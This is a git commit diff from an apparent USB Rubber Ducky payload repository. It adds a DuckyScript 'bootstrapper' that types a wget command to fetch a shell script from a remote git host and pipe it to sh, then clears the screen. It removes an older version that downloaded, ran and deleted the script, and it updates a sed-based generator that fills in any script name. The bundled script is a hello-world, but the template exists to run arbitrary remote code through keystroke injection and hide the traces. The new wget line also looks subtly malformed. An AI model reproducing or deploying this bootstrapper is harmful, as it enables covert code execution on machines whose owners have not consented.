improve bootstrap process
This commit is contained in:
parent
8c831f8134
commit
010484305d
9
bootstrap.dd
Normal file
9
bootstrap.dd
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
REM TITLE Bootstrapper
|
||||||
|
REM AUTHOR Sajenim
|
||||||
|
REM DESCRIPTION Fetch and execute shell script from remote repository
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
DELAY 200
|
||||||
|
STRING wget -qO https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh | sh && clear
|
||||||
|
ENTER
|
||||||
|
|
24
example.dd
24
example.dd
|
@ -1,24 +0,0 @@
|
||||||
REM TITLE Bash Bootstrapper
|
|
||||||
REM AUTHOR Sajenim
|
|
||||||
REM DESCRIPTION Fetch and execute a script from remote repository
|
|
||||||
REM VERSION 1.0
|
|
||||||
|
|
||||||
DELAY 200
|
|
||||||
STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
DELAY 200
|
|
||||||
STRING chmod +x hello_world.sh
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
DELAY 200
|
|
||||||
STRING ./hello_world.sh
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
DELAY 200
|
|
||||||
STRING rm hello_world.sh
|
|
||||||
ENTER
|
|
||||||
|
|
||||||
DELAY 200
|
|
||||||
STRING clear
|
|
||||||
ENTER
|
|
|
@ -1,3 +1,3 @@
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
sed s/hello_world.sh/$1/g example.dd > payload.dd
|
sed s/hello_world.sh/$1/g bootstrap.dd > payload.dd
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue